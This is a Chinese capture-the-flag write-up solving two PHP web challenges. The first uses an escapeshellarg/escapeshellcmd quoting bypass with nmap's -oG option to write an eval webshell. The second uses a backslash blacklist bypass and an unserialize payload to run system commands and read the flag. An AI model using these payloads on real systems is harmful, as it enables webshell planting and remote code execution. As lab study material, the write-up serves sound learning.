[BUUCTF 2018]Online Tool
nmap 的 -oG 参数项
escapeshellarg() 和 escapeshellcmd() 的绕过方法:单引号( ' )
- payload:
?host='<?php eval($_POST[123]);?> -oG 1.php%20
- 在网站前端得到一段 md5 值是文件夹地址名
- 蚁剑连接
xxx/7fff22a1d06d6a44cdf617546029cd7e/1.php
,根目录下得到flag
?host='<?php eval($_POST[123]);?> -oG 1.php%20
# 这一参数通过escapeshellarg($host)函数会变成:''\''<?php eval($_POST[123]);?> -oG 1.php%20'
# 通过escapeshellcmd($host)会变成:''\\''\<\?php eval\(\$\_POST\[123\]\)\;\?\> -oG 1.php%20\'
# 最终会执行:nmap -T5 -sT -Pn --host-timeout 2 -F \<?php eval($_POST[123]);?> -oG 1.php%20'
最终会执行的关键代码是: namp \<?php eval($_POST[123]);?> -oG 1.php '
,这会将这个一句话muma:\<?php eval($_POST[123]);?>
写入 1.php
文件中,值得注意的是:
- 这个一句话muma前面有个反斜杠也被写了进去
- payload中的%20(空格)是不可省略的,如果没有空格,就会将muma写入到文件名为
1.php'
的文件中。通过测试发现,无论传递的参数最后有没有单引号,空格都一定要有才行。 - 如果前面没有多的这个单引号( ' ),那传入的整个参数会被当成一个字符串传入到最终的执行函数 system() 中,这就会导致无法执行我们设置的payload,也即是 escapeshellarg() 和 escapeshellcmd() 想要达到的效果,所以本题目的关键之一就是绕过这两个函数,绕过的方法就是在前面多加一个单引号!
[网鼎杯 2020 朱雀组]phpweb
file_get_contents() 函数、反序列化
黑名单绕过方法:\
- 页面会定时刷新,抓包看到以POST形式传入了参数
func=date
和p=Y-m-d h:i:s a
,而在php中,date()
函数的参数形式就是Y-m-d h:i:s a
,这里就猜测参数func=date
并不只是一个随意传入的变量,而是把参数date
作为一个函数被执行了 - 尝试传入别的函数作为参数测试结果,以POST的形式传入
func=md5&p=111
,得到的结果正是数字111的md5值
,所以猜测得到验证是正确的,这里就可以尝试用别的函数如system()、exec()、eval()
等执行代码测试 - 很多函数都被黑名单过滤了,测试得知,file_get_contents() 函数可以使用,这里以POST传入
func=file_get_contents&p=index.php
查看 index.php 中的文件内容 - 查看到 index.php 的文件内容可知,定义了一个数组作为黑名单函数,但可以通过反斜杠符号( \ )绕过过滤,以POST传入
func=\system&p=ls /
查看根目录文件,没有发现明确的flag地址,POST传入func=\system&p=find / -name flag*
查找所有文件名中带有flag文件,这里网页显示会比较慢,因为在查找 - 查找后看到了flag的地址
/tmp/flagoefiu4r93
,POST传入func=\system&p=cat /tmp/flagoefiu4r93
,得到flag
另一种预期解法:反序列化
本题目中对黑名单的绕过比较取巧,预期解法应该是通过反序列化传入执行代码从而查看到flag
- 查看到 index.php 的文件内后,有一段关键代码如下:
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
- 写一个序列化的类,传入合适的参数,代码如下:
<?php
class Test{
public $func = 'system';
public $p = 'cat /tmp/flagoefiu4r93';
}
$a = new Test();
var_dump(serialize($a));
?>
- 执行代码,得到一段反序列化的字符串:
O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}
- POST传入
func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:22:"cat /tmp/flagoefiu4r93";}
,得到flag